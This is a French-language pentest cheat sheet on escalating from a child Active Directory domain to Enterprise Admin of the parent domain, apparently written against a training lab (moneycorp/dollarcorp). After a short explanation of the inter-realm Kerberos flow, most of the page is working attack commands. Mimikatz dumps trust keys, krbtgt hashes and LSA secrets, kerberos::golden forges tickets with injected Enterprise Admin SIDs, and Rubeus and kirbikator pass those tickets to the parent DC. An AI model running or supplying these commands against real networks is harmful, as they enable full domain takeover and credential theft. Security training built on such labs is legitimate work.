Across Domain
Il existe deux manières de devenir Domain Admin du domaine parent :
- Obtenir le hash du compte krbtgt
- Se baser sur des Trust tickets
Il s'agit de demander l'accès à un service se situant sur un autre domaine :
- 1.Demande TGT pour valider l'identité
- 2.Réponse du KDC1 par un TGT
- 3.Demande de TGS pour le service situé sur l'autre domaine au KDC1
- 4.Reponse du KDC1 par un inter-realm TGT = TGT encrypté avec la trust key
- 5.Demande TGS avec inter-realm TGT au KDC2 de l'autre domaine. Si le KDC de l'autre domaine arrive à decrypté le inter-realm TGT alors :
- 6.Reponse de TGS par le KDC2 pour le service demandé
Invoke-Mimikatz -Command '"lsadump::trust /patch"' # A faire depuis le DC
⚠️ Chercher la relation : [IN] Trust Key de domain1.local→ domain2.local
Ou bien :
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\\<USER>"' # A faire depuis le DC
Avec le compte machine
mcorp$
qui est le nom NetBios du domaine parent.Get-ADComputer mcorp-dc.moneycorp.local
Il nous d'abord retrouver le sid du groupe "enterprise admin" qui n'est d'autre que le sid du Root domain avec le suffix "-519"
Afin de retrouve le sid de ce dernier lancez cette commande:
Get-DomainSID -Domain moneycorp.local
On peut ensuite récupérer la clef de confiance (Trust Key). Avec cette clef, on peut forger un TGT au nom d'un Domain Admin d'un domaine parent :
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt /target:moneycorp.local /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
On peut ensuite faire une demande de TGS pour le CIFS du DC du domaine parent par exemple :
asktgs.exe "ticket.kirbi" CIFS/mcorp-dc.moneycorp.local
pour loader les ticket en mémoire
.\\kirbikator.exe lsa "ticket.kirbi"
.\\Rubeus.exe asktgs /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Création du Golden Ticket :
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:<HASH> /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos:ptt "ticket.kirbi"
Last modified 1yr ago